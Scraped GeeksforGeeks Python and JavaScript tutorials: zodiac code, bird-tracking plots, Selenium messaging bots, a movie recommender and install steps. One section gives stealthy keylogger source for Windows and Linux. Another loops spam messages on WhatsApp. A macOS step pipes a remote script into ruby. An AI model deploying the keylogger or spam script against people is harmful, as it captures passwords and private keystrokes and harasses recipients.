            // checks month and date within the
            // valid range of a specified zodiac
            if (month == "december"){
                 
                if (day < 22)
                astro_sign = "Sagittarius";
                else
                astro_sign ="capricorn";
            }
                 
            else if (month == "january"){
                if (day < 20)
                astro_sign = "Capricorn";
                else
                astro_sign = "aquarius";
            }
                 
            else if (month == "february"){
                if (day < 19)
                astro_sign = "Aquarius";
                else
                astro_sign = "pisces";
            }
                 
            else if(month == "march"){
                if (day < 21)
                astro_sign = "Pisces";
                else
                astro_sign = "aries";
            }
            else if (month == "april"){
                if (day < 20)
                astro_sign = "Aries";
                else
                astro_sign = "taurus";
            }
                 
            else if (month == "may"){
                if (day < 21)
                astro_sign = "Taurus";
                else
                astro_sign = "gemini";
            }
                 
            else if( month == "june"){
                if (day < 21)
                astro_sign = "Gemini";
                else
                astro_sign = "cancer";
            }
                 
            else if (month == "july"){
                if (day < 23)
                astro_sign = "Cancer";
                else
                astro_sign = "leo";
            }
                 
            else if( month == "august"){
                if (day < 23)
                astro_sign = "Leo";
                else
                astro_sign = "virgo";
            }
                 
            else if (month == "september"){
                if (day < 23)
                astro_sign = "Virgo";
                else
                astro_sign = "libra";
            }
                 
            else if (month == "october"){
                if (day < 23)
                astro_sign = "Libra";
                else
                astro_sign = "scorpio";
            }
                 
            else if (month == "november"){
                if (day < 22)
                astro_sign = "scorpio";
                else
                astro_sign = "sagittarius";
            }
                 
            Console.WriteLine(astro_sign);
        }
             
        // Driver code
        public static void Main ()
        {
     
            int day = 19;
            string month = "may";
            zodiac_sign(day, month);
                 
        }
    }
     
    // This code is contributed by vt_m.

    Javascript




    <script>
     
    // JavaScript program to display astrological sign
    // or Zodiac sign for given date of birth
     
    // Function to calculate sum
    // digits of n
    function zodiac_sign(day, month)
        {
            let astro_sign="";
               
            // checks month and date within the
            // valid range of a specified zodiac
            if (month == "december"){
                   
                if (day < 22)
                astro_sign = "Sagittarius";
                else
                astro_sign ="capricorn";
            }
                   
            else if (month == "january"){
                if (day < 20)
                astro_sign = "Capricorn";
                else
                astro_sign = "aquarius";
            }
                   
            else if (month == "february"){
                if (day < 19)
                astro_sign = "Aquarius";
                else
                astro_sign = "pisces";
            }
                   
            else if(month == "march"){
                if (day < 21)
                astro_sign = "Pisces";
                else
                astro_sign = "aries";
            }
            else if (month == "april"){
                if (day < 20)
                astro_sign = "Aries";
                else
                astro_sign = "taurus";
            }
                   
            else if (month == "may"){
                if (day < 21)
                astro_sign = "Taurus";
                else
                astro_sign = "gemini";
            }
                   
            else if( month == "june"){
                if (day < 21)
                astro_sign = "Gemini";
                else
                astro_sign = "cancer";
            }
                   
            else if (month == "july"){
                if (day < 23)
                astro_sign = "Cancer";
                else
                astro_sign = "leo";
            }
                   
            else if( month == "august"){
                if (day < 23)
                astro_sign = "Leo";
                else
                astro_sign = "virgo";
            }
                   
            else if (month == "september"){
                if (day < 23)
                astro_sign = "Virgo";
                else
                astro_sign = "libra";
            }
                   
            else if (month == "october"){
                if (day < 23)
                astro_sign = "Libra";
                else
                astro_sign = "scorpio";
            }
                   
            else if (month == "november"){
                if (day < 22)
                astro_sign = "scorpio";
                else
                astro_sign = "sagittarius";
            }
                   
            document.write(astro_sign);
        }
     
    // Driver Code
     
            let day = 19;
            let month = "may";
            zodiac_sign(day, month);
     
    </script>

    Output:  

    Taurus

     


    My Personal Notes arrow_drop_up

    Tracking bird migration using Python-3

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 29 Sep, 2021

    One fascinating area of research uses GPS to track the movements of animals. It is now possible to manufacture a small GPS device that is solar charged, so you don’t need to change batteries and use it to track flight patterns of birds. 
    The data for this case study comes from the LifeWatch INBO project. Several data sets have been released as part of this project. We will use a small data set that consists of migration data for three gulls named Eric, Nico, and Sanne. The official_datasets; used dataset – CSV”>csv file contains eight columns and includes variables like latitude, longitude, altitude, and time stamps. In this case study, we will first load the data, visualize some simple flight trajectories, track flight speed, learn about daytime, and much, much more.

    Aim: Track the movement of three gulls namely – Eric, Nico & Sanne
    Dataset: official_datasets; used dataset – csv 
    Dependencies: Matplotlib, Pandas, Numpy, Cartopy, Shapely
    Repository(Github): source code 
    (check the repository for the documentation of source code.) 
    Writeup: explanation(.pdf)

    We will divide our case study into five parts: 
    1. Visualizing longitude and latitude data of the gulls. 
    2. Visualize the variation of the speed of the gulls. 
    3. Visualize the time required by the gulls to cover equal distances over the journey. 
    4. Visualize the daily mean speed of the gulls. 
    5. Cartographic view of the journey of the gulls.

    PART (1/5): Latitude and Longitude 
    In this part, we are going to visualize the location of the birds. We are going to plot latitude and longitude along the y and x-axis respectively and visualize the location data present in the csv file. 

    Python




    import pandas as pd
    import matplotlib.pyplot as plt
    import numpy as np
     
     
    birddata = pd.read_csv("bird_tracking.csv")
    bird_names = pd.unique(birddata.bird_name)
     
    # storing the indices of the bird Eric
    ix = birddata.bird_name == "Eric"
    x,y = birddata.longitude[ix], birddata.latitude[ix]
    plt.figure(figsize = (7,7))
    plt.plot(x,y,"b.")
     
    ''' To look at all the birds trajectories,
        we plot each bird in the same plot '''
    plt.figure(figsize = (7,7))
    for bird_name in bird_names:
     
        # storing the indices of the bird Eric
        ix = birddata.bird_name == bird_name 
        x,y = birddata.longitude[ix], birddata.latitude[ix]
        plt.plot(x,y,".", label=bird_name)
    plt.xlabel("Longitude")
    plt.ylabel("Latitude")
    plt.legend(loc="lower right")
    plt.show()
    plt.figure(figsize = (7,7))
    plt.plot(x,y,"b.")

    We use the matplotlib function, figure() to initialize size of the figure as 7 x 7 and plot it using the plot() function.The parameters inside the function plot() i.e x, y and “b.” are specifying to use longitude data along x axis(for x), latitude along y(for y) and b=blue, . = circles in the visualization. 

    Output : You must have all the dependencies.Install them using "pip install dependency_name"

    figure_1_Eric's_trajectory
    figure_2_bird_trajectories

    PART (2/5): 2D Speed Vs Frequency 
    In this second part of the case study, we are going to visualize 2D speed vs Frequency for the gull named “Eric”.

    Python




    import pandas as pd
    import matplotlib.pyplot as plt
    import numpy as np
     
    birddata = pd.read_csv("bird_tracking.csv")
    bird_names = pd.unique(birddata.bird_name)
     
    # storing the indices of the bird Eric
    ix = birddata.bird_name == "Eric"
    speed = birddata.speed_2d[ix]
     
    plt.figure(figsize = (8,4))
    ind = np.isnan(speed)
    plt.hist(speed[~ind], bins = np.linspace(0,30,20), normed=True)
    plt.xlabel(" 2D speed (m/s) ")
    plt.ylabel(" Frequency ")
    plt.show()
    ind = np.isnan(speed)
    plt.hist(speed[~ind], bins = np.linspace(0,30,20), normed=True)
    plt.xlabel(" 2D speed (m/s) ")
    plt.ylabel(" Frequency ")
    plt.show()

    The parameters speed[~ind] indicates that we will include only those entries for which ind != True, bins=np.linspace(0,30,20) indicates the bins along the x-axis will vary from 0 to 30 with 20 bins within them, linearly spaced. Lastly, we plot 2D speed in m/s along the x-axis and Frequency along the y-axis using the xlabel() and ylabel() functions respectively and plot the data using plt.show().

    Output : 

    figure_3_speed

    PART (3/5): Time and Date 
    The third part is associated with date and time. We are going to visualize the time(in days) required by Eric to cover constant distances through his journey. If he covers equal distances in an equal amount of time, then the Elapsed time vs Observation curve will be linear. 

    Python




    import pandas as pd
    import matplotlib.pyplot as plt
    import datetime
    import numpy as np
     
    birddata = pd.read_csv("bird_tracking.csv")
    bird_names = pd.unique(birddata.bird_name)
     
    timestamps = []
    for k in range(len(birddata)):
        timestamps.append(datetime.datetime.strptime(birddata.date_time.iloc[k][:-3], "%Y-%m-%d %H:%M:%S"))
     
    birddata["timestamp"] = pd.Series(timestamps, index = birddata.index)
     
    times = birddata.timestamp[birddata.bird_name == "Eric"]
    elapsed_time = [time-times[0] for time in times]
     
    plt.plot(np.array(elapsed_time)/datetime.timedelta(days=1))
    plt.xlabel(" Observation ")
    plt.ylabel(" Elapsed time (days) ")
    plt.show()
    for k in range(len(birddata)):
        timestamps.append(datetime.datetime.strptime(birddata.date_time.iloc[k][:-3], "%Y-%m-%d %H:%M:%S"))

    “>>>datetime.datetime.today()”, returns the current Date (yy-mm-dd) & time (h:m:s). 
    “>>>date_str[:-3]”, slices/removes the UTC +00 coordinated time stamps. 
    “>>>datetime.datetime.strptime(date_str[:-3], “%Y-%m-%d %H:%M:%S”)” ,the time-stamp strings from date_str are converted to datetime object to be worked upon. “%Y-%m-%d %H:%M:%S” is the Year-Month-Date and Hour-Minute-Second format.

    Output: 

    figure_4_time_stamp

    PART (4/5): Daily Mean Speed 
    We are going to visualize the daily mean speed of the gull named “Eric” for the total number of days of recorded flight. 

    Python




    import pandas as pd
    import matplotlib.pyplot as plt
    import datetime
    import numpy as np
     
    birddata = pd.read_csv("bird_tracking.csv")
    bird_names = pd.unique(birddata.bird_name)
     
    timestamps = []
    for k in range(len(birddata)):
        timestamps.append(datetime.datetime.strptime(birddata.date_time.iloc[k][:-3], "%Y-%m-%d %H:%M:%S"))
    birddata["timestamp"] = pd.Series(timestamps, index = birddata.index)
     
    data =  birddata[birddata.bird_name == "Eric"]
    times = data.timestamp
    elapsed_time = [time-times[0] for time in times]
    elapsed_days = np.array(elapsed_time)/datetime.timedelta(days=1)
     
    next_day = 1
    inds = []
    daily_mean_speed = []
    for (i,t) in enumerate(elapsed_days):
        if t < next_day:
            inds.append(i)
        else:
            daily_mean_speed.append(np.mean(data.speed_2d[inds]))
            next_day += 1
            inds = []
     
    plt.figure(figsize = (8,6))
    plt.plot(daily_mean_speed, "rs-")
    plt.xlabel(" Day ")
    plt.ylabel(" Mean Speed (m/s) ");
    plt.show()
    enumerate() - is one of the built-in Python functions. It returns an enumerated object. In our case, that object is a list of tuples (immutable lists), each containing a pair of count/index and value.

    Output: 

    figure_5_mean.avg.speed_perday

    PART (5/5): Cartographic View 
    In this last part, we are going to track the Birds over a map. 

    Python




    import pandas as pd
    import cartopy.crs as ccrs
    import cartopy.feature as cfeature
    import matplotlib.pyplot as plt
     
    birddata = pd.read_csv("bird_tracking.csv")
    bird_names = pd.unique(birddata.bird_name)
     
    # To move forward, we need to specify a
    # specific projection that we're interested
    # in using.
    proj = ccrs.Mercator()
     
    plt.figure(figsize=(10,10))
    ax = plt.axes(projection=proj)
    ax.set_extent((-25.0, 20.0, 52.0, 10.0))
    ax.add_feature(cfeature.LAND)
    ax.add_feature(cfeature.OCEAN)
    ax.add_feature(cfeature.COASTLINE)
    ax.add_feature(cfeature.BORDERS, linestyle=':')
    for name in bird_names:
        ix = birddata['bird_name'] == name
        x,y = birddata.longitude[ix], birddata.latitude[ix]
        ax.plot(x,y,'.', transform=ccrs.Geodetic(), label=name)
    plt.legend(loc="upper left")
    plt.show()
    import cartopy.crs as ccrs
    import cartopy.feature as cfeature

    These modules are important for mapping data.

    ax.add_feature(cfeature.LAND)
    ax.add_feature(cfeature.OCEAN)
    ax.add_feature(cfeature.COASTLINE)
    ax.add_feature(cfeature.BORDERS, linestyle=':')

    We add the salient physical features of a map.

    Output: 

    figure_6_bird_cartographic

    Resources : 
    1. edX – HarvardX – Using Python for Research 
    2. Python functions doc_I 
    3. Python functions doc_II

    This article is contributed by Amartya Ranjan Saikia. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Python Desktop News Notifier in 20 lines

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 03 Sep, 2021

    To get started with the Desktop News Notifier, we require two libraries: feedparser and notify2. 
    Give following command to to install feedparser: 

    sudo pip3 install feedparser

    For installing notify2 in your terminal:

    sudo pip3 install notify2

    Feedparser will parse the feed that we will get from the URL. We will use notify2 for the desktop notification purpose. Other than these two libraries, we will use OS and time lib. Once you are done with the installation import both libraries in the program. Here, in this example I have parsed the news from the BBC UK, you can use any news feedparser URL. Let’s have a look at the program: 
     

    Python




    # Python program to illustrate
    # desktop news notifier
    import feedparser
    import notify2
    import os
    import time
    def parseFeed():
        f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
        ICON_PATH = os.getcwd() + "/icon.ico"
        notify2.init('News Notify')
        for newsitem in f['items']:
            n = notify2.Notification(newsitem['title'],
                                     newsitem['summary'],
                                     icon=ICON_PATH
                                     )
        n.set_urgency(notify2.URGENCY_NORMAL)
        n.show()
        n.set_timeout(15000)
        time.sleep(1200)
         
    if __name__ == '__main__':
        parseFeed()

    Screenshot of the news notification popup

    Python Desktop News Notifier in 20 lines

    Step by step Explanation of Code: 

    f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
    ICON_PATH = os.getcwd() + "/icon.ico"
    notify2.init('News Notify')
     for newsitem in f['items']: 
            n = notify2.Notification(newsitem['title'], 
                                     newsitem['summary'], 
                                     icon=ICON_PATH 
                                     )
    n.set_urgency(notify2.URGENCY_NORMAL)
    n.show()
    n.set_timeout(15000)
    time.sleep(1200)

    This article is contributed by Srce Cde. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Whatsapp using Python!

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 21 Oct, 2021

    Have you ever wished to automatically wish your friends on their birthdays, or send a set of messages to your friend ( or any Whatsapp contact! ) automatically at a pre-set time, or send your friends by sending thousands of random texts on WhatsApp! Using Browser Automation you can do all of it and much more! 

    First, you must install these:

    1) Python Bindings for Selenium ( Browser Automation software ) 

    pip install selenium

    2) Chrome web driver 

    Download Chrome driver from here: Chromedriver download page( choose your specific version ) Extract it in a known location, as we need the location later

    If you get stuck somewhere, Refer To the documentation: Documentation link

    3) Chromium Web Browser( Open-source version of chrome browser ) 

    sudo apt-get install chromium-browser

    That’s it! You are all set.

    Let’s dive in right away

    Python




    from selenium import webdriver
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from selenium.webdriver.common.keys import Keys
    from selenium.webdriver.common.by import By
    import time
     
    # Replace below path with the absolute path
    # to chromedriver in your computer
    driver = webdriver.Chrome('/home/saket/Downloads/chromedriver')
     
    wait = WebDriverWait(driver, 600)
     
    # Replace 'Friend's Name' with the name of your friend
    # or the name of a group
    target = '"Friend\'s Name"'
     
    # Replace the below string with your own message
    string = "Message sent using Python!!!"
     
    x_arg = '//span[contains(@title,' + target + ')]'
    group_title = wait.until(EC.presence_of_element_located((
        By.XPATH, x_arg)))
    group_title.click()
    inp_xpath = '//div[@class="_13NKt copyable-text selectable-text"][@data-tab="9"]'
    input_box = wait.until(EC.presence_of_element_located((
        By.XPATH, inp_xpath)))
    for i in range(100):
        input_box.send_keys(string + Keys.ENTER)
        time.sleep(1)

    Keep your mobile phone with you. Choose WhatsApp web from the top bar in WhatsApp(3 dots) 

    Screenshot2

    Then Run the script ( make sure that you have added the absolute path for the chrome driver and have replaced the target variable with your friend’s name ). Scan the QR code that appears on the screen and enjoy the power of python!

    Screenshot3

    Please use this script only for educational purposes, i am not responsible if your friends ( or even Whatsapp ) block you.

    Feel free to modify the code. Try to : 

    1. Text Multiple Groups at once
    2. Send the messages from a predefined list of messages randomly or
    3. Send a completely random text.

    Comment below about your experience!

    When it comes to browser automation, this is just the tip of the iceberg. Will write more articles on browser automation to give you a glimpse of its power!

    Related Post : 

    Browser Automation Using Selenium

    This article is contributed by Saket Modi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Python | Automating Happy Birthday post on Facebook using Selenium

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 23 Nov, 2021

    As we know Selenium is a tool used for controlling web browsers through a program. It can be used in all browsers, OS, and its program are written in various programming languages i.e Java, Python (all versions). 

    Selenium helps us automate any kind of task that we frequently do on our laptops, PCs ranging from using Facebook messenger for texting and WhatsApp also, daily tweeting tweets on Twitter, wishing friends “Happy birthday” on Facebook, googling anything we want to learn, and many more task. All these tasks can be automated using selenium in just a small implementation.

    Installation: 

    pip install selenium

    Let’s learn how to automate the process of wishing a birthday wish on a Facebook friend’s timeline as a post.

    The whole process of this automation can be divided as follows : 

    Below are the steps: 

    NOTE: Make a separate test.txt file and put your Facebook password in it before the execution of the below program.

    Below is the implementation:  

    Python3




    # importing necessary classes
    # from different modules
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from selenium.webdriver.chrome.options import Options
    from selenium.common.exceptions import TimeoutException
    from selenium.webdriver.common.keys import Keys
    import time
     
    chrome_options = webdriver.ChromeOptions()
     
    prefs = {"profile.default_content_setting_values.notifications": 2}
    chrome_options.add_experimental_option("prefs", prefs)
    browser = webdriver.Chrome("chromedriver.exe")
     
    # open facebook.com using get() method
     
    # user_name or e-mail id
    username = "agrawal.abhi108@gmail.com"
     
    # getting password from text file
    with open('test.txt', 'r') as myfile:
        password = myfile.read().replace('\n', '')
     
    print("Let's Begin")
     
    element = browser.find_elements_by_xpath('//*[@id ="email"]')
    element[0].send_keys(username)
     
    print("Username Entered")
     
    element = browser.find_element_by_xpath('//*[@id ="pass"]')
    element.send_keys(password)
     
    print("Password Entered")
     
    # logging in
    log_in = browser.find_elements_by_id('loginbutton')
    log_in[0].click()
     
    print("Login Successful")
     
     
    feed = 'Happy Birthday !'
     
    element = browser.find_elements_by_xpath("//*[@class ='enter_submit\
           uiTextareaNoResize uiTextareaAutogrow uiStreamInlineTextarea\
                      inlineReplyTextArea mentionsTextarea textInput']")
     
    cnt = 0
     
    for el in element:
        cnt += 1
        element_id = str(el.get_attribute('id'))
        XPATH = '//*[@id ="' + element_id + '"]'
        post_field = browser.find_element_by_xpath(XPATH)
        post_field.send_keys(feed)
        post_field.send_keys(Keys.RETURN)
        print("Birthday Wish posted for friend" + str(cnt))
     
    # Close the browser
    browser.close()

    My Personal Notes arrow_drop_up

    Design a Keylogger in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 10 Aug, 2021

    Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.
    These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords.
    This article illustrates designing a keylogger for windows and Linux.
     

    Keylogger for Windows

    Download some python libraries 
    1) pywin32 
    2) pyhook
    Following is the code to create a keylogger in python

    Python3




    # Python code for keylogger
    # to be used in windows
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook
      
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win, 0)
      
    def OnKeyboardEvent(event):
        if event.Ascii==5:
            _exit(1)
        if event.Ascii !=0 or 8:
        #open output.txt to read current keystrokes
            f = open('c:\output.txt', 'r+')
            buffer = f.read()
            f.close()
        # open output.txt to write current + new keystrokes
            f = open('c:\output.txt', 'w')
            keylogs = chr(event.Ascii)
            if event.Ascii == 13:
            keylogs = '/n'
            buffer += keylogs
            f.write(buffer)
            f.close()
    # create a hook manager object
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    pythoncom.PumpMessages()

    Save the file in C:\ as Keylogger.py and run the python file 
    Output: 
    The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.

    Keylogger in Linux
    pyxhook requires python-Xlib. Install it if you don’t have it already. 

    sudo apt-get install python-xlib

    Download pyxhook library

    Python3




    # Python code for keylogger
    # to be used in linux
    import os
    import pyxhook
      
    # This tells the keylogger where the log file will go.
    # You can set the file path as an environment variable ('pylogger_file'),
    # or use the default ~/Desktop/file.log
    log_file = os.environ.get(
        'pylogger_file',
        os.path.expanduser('~/Desktop/file.log')
    )
    # Allow setting the cancel key from environment args, Default: `
    cancel_key = ord(
        os.environ.get(
            'pylogger_cancel',
            '`'
        )[0]
    )
      
    # Allow clearing the log file on start, if pylogger_clean is defined.
    if os.environ.get('pylogger_clean', None) is not None:
        try:
            os.remove(log_file)
        except EnvironmentError:
           # File does not exist, or no permissions.
            pass
      
    #creating key pressing event and saving it into log file
    def OnKeyPress(event):
        with open(log_file, 'a') as f:
            f.write('{}\n'.format(event.Key))
      
    # create a hook manager object
    new_hook = pyxhook.HookManager()
    new_hook.KeyDown = OnKeyPress
    # set the hook
    new_hook.HookKeyboard()
    try:
        new_hook.start()         # start the hook
    except KeyboardInterrupt:
        # User cancelled from command line.
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
            f.write('\n{}'.format(msg))

    Output: 
    The keylogger will be started in the background and save all the data on the file.log file “/home/Akash/Desktop”. 
     

    References 
    https://en.wikipedia.org/wiki/Keystroke_logging
    This article is contributed by Akash Sharan. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Python | Implementation of Movie Recommender System

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 10 Aug, 2021

    Recommender System is a system that seeks to predict or filter preferences according to the user’s choices. Recommender systems are utilized in a variety of areas including movies, music, news, books, research articles, search queries, social tags, and products in general. 
    Recommender systems produce a list of recommendations in any of the two ways – 
     

    Let’s develop a basic recommendation system using Python and Pandas. 
    Let’s focus on providing a basic recommendation system by suggesting items that are most similar to a particular item, in this case, movies. It just tells what movies/items are most similar to the user’s movie choice.
    To download the files, click on the links – .tsv file, Movie_Id_Titles.csv.
    Import dataset with delimiter “\t” as the file is a tsv file (tab-separated file). 
     

    Python3




    # import pandas library
    import pandas as pd
     
    # Get the data
    column_names = ['user_id', 'item_id', 'rating', 'timestamp']
     
     
    df = pd.read_csv(path, sep='\t', names=column_names)
     
    # Check the head of the data
    df.head()

     
     

    Python3




    # Check out all the movies and their respective IDs
    movie_titles.head()

      
     

    Python3




    data = pd.merge(df, movie_titles, on='item_id')
    data.head()

     
     

    Python3




    # Calculate mean rating of all movies
    data.groupby('title')['rating'].mean().sort_values(ascending=False).head()

      
     

    Python3




    # Calculate count rating of all movies
    data.groupby('title')['rating'].count().sort_values(ascending=False).head()

      
     

    Python3




    # creating dataframe with 'rating' count values
    ratings = pd.DataFrame(data.groupby('title')['rating'].mean())
     
    ratings['num of ratings'] = pd.DataFrame(data.groupby('title')['rating'].count())
     
    ratings.head()

    4

     
      
    Visualization imports: 
     

    Python3




    import matplotlib.pyplot as plt
    import seaborn as sns
     
    sns.set_style('white')
    %matplotlib inline

     
     

    Python3




    # plot graph of 'num of ratings column'
    plt.figure(figsize =(10, 4))
     
    ratings['num of ratings'].hist(bins = 70)

    5

     
     

    Python3




    # plot graph of 'ratings' column
    plt.figure(figsize =(10, 4))
     
    ratings['rating'].hist(bins = 70)

    6

     
     

    Python3




    # Sorting values according to
    # the 'num of rating column'
    moviemat = data.pivot_table(index ='user_id',
                  columns ='title', values ='rating')
     
    moviemat.head()
     
    ratings.sort_values('num of ratings', ascending = False).head(10)

    7

      
     

    Python3




    # analysing correlation with similar movies
    starwars_user_ratings = moviemat['Star Wars (1977)']
    liarliar_user_ratings = moviemat['Liar Liar (1997)']
     
    starwars_user_ratings.head()

    8

     
     

    Python3




    # analysing correlation with similar movies
    similar_to_starwars = moviemat.corrwith(starwars_user_ratings)
    similar_to_liarliar = moviemat.corrwith(liarliar_user_ratings)
     
    corr_starwars = pd.DataFrame(similar_to_starwars, columns =['Correlation'])
    corr_starwars.dropna(inplace = True)
     
    corr_starwars.head()

      
     

     

    Python3




    # Similar movies like starwars
    corr_starwars.sort_values('Correlation', ascending = False).head(10)
    corr_starwars = corr_starwars.join(ratings['num of ratings'])
     
    corr_starwars.head()
     
    corr_starwars[corr_starwars['num of ratings']>100].sort_values('Correlation', ascending = False).head()

    10

    Python3




    # Similar movies as of liarliar
    corr_liarliar = pd.DataFrame(similar_to_liarliar, columns =['Correlation'])
    corr_liarliar.dropna(inplace = True)
     
    corr_liarliar = corr_liarliar.join(ratings['num of ratings'])
    corr_liarliar[corr_liarliar['num of ratings']>100].sort_values('Correlation', ascending = False).head()

    11


    My Personal Notes arrow_drop_up

    Learn Python Tutorial

    • Last Updated : 10 Jul, 2021

    Python is a high-level programming language and is widely being used among the developers’ community. Python was mainly developed for emphasis on code readability, and its syntax allows programmers to express concepts in fewer lines of code. Python is a programming language that lets developers work quickly and integrate systems more efficiently. This Python tutorial provides learners (either beginner or experienced developer) with the topics from Python basics to advanced topics with examples.

    Python-Tutorial Learn-Python

    Topics:

     
     

     

    Key features

    Python has many reasons for being popular and in demand. A few of the reasons are mentioned below.

    Application Areas

    python-applications

    Getting started with Python Tutorial –

    Python is a lot easier to code and learn. Python programs can be written on any plain text editor like notepad, notepad++, or anything of that sort. One can also use an online IDE for writing Python codes or can even install one on their system to make it more feasible to write these codes because IDEs provide a lot of features like intuitive code editor, debugger, compiler, etc.
    To begin with, writing Python Codes and performing various intriguing and useful operations, one must have Python installed on their System. This can be done by following the step by step instructions provided below:

    What if Python already exists? Let’s check

    Windows don’t come with Python preinstalled, it needs to be installed explicitly. But unlike windows, most of the Linux OS have Python pre-installed, also macOS comes with Python pre-installed.
    To check if your device is pre-installed with Python or not, just go to Command Line(For Windows, search for cmd in the Run dialog( + R), for Linux open the terminal using Ctrl+Alt+T, for macOS use control+Option+Shift+T.

    Now run the following command:
    For Python2

    python --version
    

    For Python3

    python3 --version
    

    If Python is already installed, it will generate a message with the Python version available.

    python-tutorial

    Download and Installation

    Before starting with the installation process, you need to download it. For that all versions of Python for Windows, Linux, and MacOS are available on python.org.

    Windows

    How-to-install-Python-for-windows-11

    Linux

    python-linux

    MacOS

    python-macos

    Download the Python and follow the further instructions for the installation of Python.

    Beginning the installation.

    Windows

    • Run the Python Installer from downloads folder. Make sure to mark Add Python 3.7 to PATH otherwise you will have to do it explicitly.
      It will start installing python on windows.
      python-install-windows-1
    • After installation is complete click on Close.
      Bingo..!! Python is installed. Now go to windows and type IDLE.

      python-install-windows-23

    Linux

    For almost every Linux system, the following commands would work definitely.

    $ sudo add-apt-repository ppa:deadsnakes/ppa
    $ sudo apt-get update
    $ sudo apt-get install python3.8
    

    python-install-linux

    To verify the installation enter following commands in your Terminal.

    python3
    

    python-install-linux

    MacOS

    • Download and install Homebrew Package Manager
      Enter following command in macOS terminal.
      /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
      

      install-python-on-mac

      Enter system password if prompted. This will install the Homebrew package Manager on your OS.
      After you see a message called “Installation Successful”. You are ready to install python version 3 on your macOS.

      install-python-on-mac-2

    • Install Python Latest Version on macOS / macOS X

      Open Terminal and enter the following command.

      brew install python3
      

      After command processing is complete, Python’s version 3 would be installed on your mac.
      install-python-on-mac-3

      To verify the installation enter following commands in your Terminal app

      pythona fa-hand-o-right
      
      pip3
      

      install-python-on-mac-4

    How to run a Python program

    Let’s consider a simple Hello World Program.

    
    # Python program to print
    # Hello World
    
    print("Hello World")
    
    

    Generally, there are two ways to run a Python program.

    Windows

    Open Commandline and then to compile the code type python HelloWorld.py. If your code has no error then it will execute properly and output will be displayed.

    python-hellow-world-windows

    Unix/Linux

    Open Terminal of your Unix/Linux OS and then to compile the code type python HelloWorld.py. If your code has no error then it will execute properly and output will be displayed.

    python-linux-hello-world

    Fundamentals of Python

    Python Indentation

    Python uses indentation to highlight the blocks of code. Whitespace is used for indentation in Python. All statements with the same distance to the right belong to the same block of code. If a block has to be more deeply nested, it is simply indented further to the right. You can understand it better by looking at the following lines of code.

    
    # Python program showing 
    # indentation 
      
    site = 'gfg'
      
    if site == 'gfg': 
        print('Logging on to geeksforgeeks...') 
    else: 
        print('retype the URL.') 
    print('All set !') 
    

    Output:

    Logging on to geeksforgeeks...
    All set !
    

    The lines print(‘Logging on to geeksforgeeks…’) and print(‘retype the URL.’) are two separate code blocks. The two blocks of code in our example if-statement are both indented four spaces. The final print(‘All set!’) is not indented, and so it does not belong to the else-block.

    Note: For more information, refer 👉🏽 Indentation in Python.

    Python Comments

    Comments are useful information that the developers provide to make the reader understand the source code. It explains the logic or a part of it used in the code. There are two types of comment in Python:

    Note: For more information, refer 👉🏽 Comments in Python.

    Variables

    Variables in Python are not “statically typed”. We do not need to declare variables before using them or declare their type. A variable is created the moment we first assign a value to it.

    
    #!/usr/bin/python 
      
    # An integer assignment 
    age = 45                      
      
    # A floating point 
    salary = 1456.8             
      
    # A string   
    name = "John"              
      
    print(age) 
    print(salary) 
    print(name) 
    
    

    Output:

    45
    1456.8
    John
    

    Note: For more information, refer 👉🏽 Python Variables.

    Operators

    Operators are the main building block of any programming language. Operators allow the programmer to perform different kinds of operations on operands. These operators can be categorized based upon their different functionality:

    Note: For more information, refer 👉🏽 Basic Operators in Python.

    Basics of Input/Output

    Taking input from user –

    Python provides us with two inbuilt functions to read the input from the keyboard.

    Note: For more information, refer 👉🏽 Python input() and raw_input().

    Printing output to console –

    The simplest way to produce output is using the print() function where you can pass zero or more expressions separated by commas. This function converts the expressions you pass into a string before writing to the screen.

    
    # Python 3.x program showing 
    # how to print data on 
    # a screen 
      
    # One object is passed 
    print("GeeksForGeeks") 
      
    x = 5
